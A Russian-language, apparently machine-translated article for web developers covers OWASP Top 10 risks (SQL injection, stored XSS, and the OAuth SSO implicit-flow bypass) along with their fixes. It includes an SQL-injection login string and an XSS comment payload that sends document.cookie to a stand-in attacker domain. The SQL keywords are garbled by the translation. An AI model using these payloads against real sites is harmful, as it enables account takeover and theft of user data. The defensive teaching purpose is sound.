Сегодня веб-приложения есть повсюду и ими пользуются почти все. Это критически важная часть большинства бизнес-процессов, способ связи компаний со своими клиентами и клиентами. От передачи информации до предоставления услуги, уровень сложности может широко варьироваться, а также уровень заботы, необходимой для их защиты.
В 2018 году было всего 1,6 миллиарда сайтов (уникальных имен хостов). Нельзя отрицать, что Интернет так или иначе является важной частью нашей повседневной жизни. Наша задача как разработчиков - не только предоставлять функциональные, эффективные и инновационные решения для клиентов, но и обеспечивать их безопасность.
ТОП-10 OWASP
Проект безопасности открытых веб-приложений (OWASP), фонд, целью которого является повышение безопасности программного обеспечения. Проект OWASP Top 10 - это документ, который разработчики могут и должны использовать в качестве первого контрольного списка для минимизации перечисленных рисков безопасности в своих решениях.
Инъекция
Уязвимости внедрения, особенно SQL-инъекции, к сожалению, довольно распространены. Они возникают, когда приложение отправляет интерпретатору ненадежные данные (например, веб-сайт отправляет несенсибилизированные данные, введенные пользователем, на бэкэнд).
Наряду с SQL-инъекцией запросы на основе SOAP, XPath, LDAP и REST могут быть уязвимы для инъекционных атак, что позволяет извлекать данные или обходить управление.
SQL-инъекция
Атака с использованием SQL-инъекции состоит из инъекции частичного или полного SQL-запроса через ввод данных от клиента в веб-приложение. Это может позволить чтение и изменение конфиденциальных данных, к которым пользователь клиента не должен иметь доступа.
Уязвимость - непараметризованные SQL-запросы
Представьте, что вы использовали следующий запрос, чтобы проверить, действительны ли предоставленные учетные данные для входа:
Во-первых, следует избегать использования «select *» там, где это возможно, чтобы предотвратить возврат ненужных данных. ** Запросы должны быть максимально конкретными ** Во-вторых, злоумышленник может предоставить данные для доступа к именам пользователей и паролям, хранящимся в базе данных, просто предоставив
“ OR “”=”
как имя пользователя и пароль. В результате запрос будет выглядеть так:
ВЫБЕРИТЕ * ИЗ Пользователи, ГДЕ Имя пользователя = "" или "" = "" И Пароль = "" или "" = ""
Если бы ваша конфигурация базы данных была умеренно надежной, запись базы данных Username = «» не существовала бы, но выражение «» = »” всегда было бы истинным. То же самое относится и к паролю, поэтому результирующий запрос вернет все данные из таблицы Users.
Решение - параметризованные SQL-запросы
Значения, добавляемые к SQL-запросу во время выполнения контролируемым образом, называются параметрами SQL. Механизм SQL проверяет каждый параметр, что он является правильным для своего столбца и обрабатывается буквально, а не является частью SQL, который должен быть выполнен. Рассмотрим наш предыдущий запрос, но параметризованный в ASP.NET Razor:
txtUsername = getUsername ();
txtPasssword = getPassword ();
txtSQL = «ВЫБРАТЬ * ИЗ пользователей, ГДЕ Имя пользователя = @ 0 И Пароль = @ 1»;
db.Execute (txtSQL, txtUsername, txtPasssword);
В этом случае, если был задан такой же злонамеренный ввод, результирующий SQL-запрос примет параметры как полные переменные, не изменяя сам базовый SQL-запрос.
Межсайтовый скриптинг
Межсайтовые сценарии или XSS-атаки - это тип внедрения, при котором вредоносные сценарии вводятся на безвредные или доверенные веб-сайты. Вектор атаки этой уязвимости - любое веб-приложение, которое использует вводимые пользователем данные без его проверки.
Успешная XSS-атака может быть очень опасной, потому что жертва, посещающая веб-сайт, не будет мудрее, пока вредоносный сценарий имеет доступ к файлам cookie жертвы, сеансу и другой конфиденциальной информации, хранящейся в браузере, который использует сайт. Вредоносный сторонний скрипт может даже изменить HTML-содержимое веб-сайта.
Уязвимость - хранимая XSS-атака
Сохраненная XSS-атака - это атака, при которой вредоносный сценарий хранится на уязвимом веб-сайте, поэтому любая жертва, посетившая взломанную веб-страницу, станет жертвой сценария. Рассмотрим веб-страницу, на которой можно размещать комментарии, но они не проходят проверку. Злоумышленник может опубликовать комментарий, содержащий следующий вредоносный код:
Мне очень нравится это видео с кошкой! 😊
‹Script›
fetch (‘https://Attackers-Domain.com’, {
метод: «POST»,
режим: ‘no-cors’,
body: document.cookie
});
‹/Script›
Когда жертва заходит на веб-страницу с этим комментарием, все, что она видит, - это текст «Мне очень нравится это видео с кошкой! 😊 », но скрипт отправит запрос от браузера жертвы в домен злоумышленника, передав файлы cookie жертвы.
Решение - Подтвердите ввод данных пользователем
Проверка комментария до его публикации остановит эту атаку. Доступно бесчисленное множество библиотек и инструментов, которые можно использовать для очистки данных. Большинство фреймворков в той или иной форме также проводят дезинфекцию. Для более стратегического / запланированного способа предотвращения см. OWASP: Шпаргалка по предотвращению XSS
Сломанная аутентификация
Аутентификация часто настраивается неправильно или по принципу «давай заставим это работать», оставляя недостатки, которые могут быть использованы злоумышленниками.
OAuth (2.0) - это широко используемая структура авторизации, которая позволяет веб-сайтам и веб-приложениям запрашивать ограниченный доступ к учетной записи пользователя в другом приложении. Это позволяет пользователю предоставлять доступ без необходимости предоставлять свои учетные данные для входа в запрашивающее веб-приложение. Изначально для этой цели был создан OAuth. Он работает, определяя серию взаимодействий между клиентским приложением, владельцем ресурса и поставщиком услуг OAuth.
OAuth превратился в средство аутентификации пользователей (SSO). Типичный пример «Войти через Facebook». Аутентификация OAuth обычно реализуется следующим образом:
1. Пользователь выбирает вход в свою учетную запись в социальной сети. Клиентское приложение использует службу OAuth социальной сети для запроса доступа к некоторым данным, которые оно может использовать для идентификации пользователя. Например, адрес электронной почты.
2. Как только клиентское приложение получает токен доступа, оно запрашивает эти данные у владельца ресурса, например, «SOMEDOMAIN.COM/userinfo».
3. Получив данные, клиентское приложение использует их для входа пользователя в систему вместо имени пользователя и использует токен доступа в качестве пароля.
Уязвимость - обход неявного потока SSO
Рассмотрим сценарий, в котором вход через систему единого входа используется в веб-приложении клиент-сервер. Чтобы инициировать сеанс для пользователя, клиентское веб-приложение отправляет запрос POST на конечную точку «/ аутентификации» своего сервера с данными, полученными от сервера ресурсов, эффективно регистрируя их. Эти данные могут включать, ClientID, доступ токен и адрес электронной почты пользователя. На сервере нет секретов или паролей для сравнения с отправленными данными, что означает, что данные являются безоговорочно надежными.
Этот запрос POST может быть перехвачен и обработан. В этом случае адрес электронной почты может быть изменен на другого пользователя, возможно, с административным доступом. Затем клиентское приложение войдет в систему указанного пользователя, не моргнув глазом.
Решение - проверить токен доступа
Некоторые провайдеры OAuth в социальных сетях предоставляют конечную точку, по которой вы можете проверить правильность полученного вами токена доступа. Примерами являются конечная точка Google «/ tokeninfo» и конечная точка Facebook «/ debug_token». Клиентский сервер может сделать запрос к этим конечным точкам и подтвердить, что данные в ответе соответствуют данным, предоставленным ему. В нашем случае сравните письмо с ответом.
Вывод
Я рассмотрел лишь несколько часто упускаемых из виду уязвимостей, но есть множество ресурсов, которые помогут вам защитить свои веб-приложения. Вот несколько советов, которым вы можете следовать:
· Всегда следуйте лучшим практикам
· Своевременно обновляйте библиотеки и проверяйте их на наличие уязвимостей
· Убедитесь, что журналы не содержат конфиденциальных данных, и следите за журналами соответственно.
Есть много способов возникновения уязвимостей в веб-приложениях, поэтому о такой безопасности не следует думать второстепенно. Будьте бдительны и удачного программирования!
Некоторые ресурсы, которые вы можете найти
Руководство по тестированию безопасности веб-приложений OWASP
Академия веб-безопасности Port Swigger - хотя и предназначена для профессионалов в области безопасности, знание того, как работают основные процессы, может иметь неоценимое значение для создания безопасных веб-приложений.